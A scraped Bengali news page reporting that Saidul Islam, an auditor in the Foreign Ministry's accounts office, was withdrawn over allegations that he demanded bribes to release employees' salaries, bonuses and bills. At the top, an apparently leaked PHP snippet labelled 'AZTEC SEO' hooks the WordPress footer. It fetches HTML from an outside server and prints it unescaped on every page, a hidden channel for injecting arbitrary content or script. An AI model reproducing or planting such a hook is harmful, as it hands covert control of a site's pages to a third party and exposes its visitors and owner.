/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); বেতন পাসে ঘুষ দাবি, অডিটর সাইদুল প্রত্যাহার | Dhaka Sky News

বাংলাদেশ নিয়ে মাথা ঘামানো যুক্তরাষ্ট্রের ভণ্ডামি : কংগ্রেসম্যান  লুইস ফ্র্যাঙ্কেল

আগের সংবাদ

যে কারণে ব্রিকসের সদস্য হতে পারেনি বাংলাদেশ, জানালেন পররাষ্ট্র সচিব

পরের সংবাদ

বেতন পাসে ঘুষ দাবি, অডিটর সাইদুল প্রত্যাহার

দীর্ঘদিন যাবত কর্মচারীদের বেতন-বোনাস ও বিল পাসের জন্য ঘুস দাবির অভিযোগে চিফ অ্যাকাউন্টস অ্যান্ড ফিন্যান্স অফিসারের (পররাষ্ট্র) কার্যালয়ের অডিটর সাইদুল ইসলামকে তার দায়িত্ব থেকে প্রত্যাহার করা হয়েছে।

সম্প্রতি অভিযুক্ত সাইদুলের বিরুদ্ধে পররাষ্ট্র মন্ত্রণালয়ের দৈনিকভিত্তিক কর্মচারীদের বেতন ও বোনাস আটকে রাখার অভিযোগ উঠে।

এ ঘটনায় পররাষ্ট্রমন্ত্রী একে আবদুল মোমেন দায়ী ব্যক্তিদের শনাক্ত করে তাদের বিরুদ্ধে দৃষ্টান্তমূলক পদক্ষেপ গ্রহণ করে দ্রুত কর্মচারীদের বেতন-বোনাস পরিশোধের জন্য সংশ্লিষ্ট কর্মকর্তাদের নির্দেশ দেন।

এ বিষয়ে পররাষ্ট্র মন্ত্রণালয়ের পক্ষ থেকে সিএএফও-কে (পররাষ্ট্র) অবহিত করা হলে তাৎক্ষণিকভাবে অডিটর সাইদুল ইসলামকে তার দায়িত্ব থেকে প্রত্যাহার করে এ বিষয়ে অনুসন্ধানের পদক্ষেপ নেন মন্ত্রী।

ভুক্তভোগীদের অভিযোগ সূত্রে জানা যায়, অডিটর সাইদুল ইসলামের বিরুদ্ধে দৈনিকভিত্তিক কর্মচারীদের বেতন-বোনাস আটকে রাখা ছাড়াও পররাষ্ট্র মন্ত্রণালয়ের বিভিন্ন বিল আটকে রাখার অভিযোগ রয়েছে।

ভুক্তভোগীরা অভিযোগ করেন, অডিটর সাইদুল ইসলাম পররাষ্ট্র মন্ত্রণালয়ের সরকারি কর্মকাণ্ডের বিভিন্ন বিল অহেতুক নানা কারণ দেখিয়ে আটকে রেখে জটিলতা সৃষ্টি করেন এবং ঘুস দাবি করেন।

তারা আরও অভিযোগ করেন, বেতন ও ঈদ বোনাসের জন্য জনপ্রতি ১০০ টাকা না দিলে বিভিন্ন অজুহাতে তা আটকে রাখেন এবং অন্যান্য প্রতিটি বিলে ২ শতাংশ ঘুস না দিলে তা ছাড় দেন না।

তবে পররাষ্ট্র মন্ত্রণালয় থেকে এ ব্যাপারে অভিযোগ জানানোর পর ওই অডিটর তার ক্ষমা চেয়েছেন এবং আগামীতে এ ধরনের অপরাধ না করার অঙ্গীকার করেছেন বলে জানা গেছে।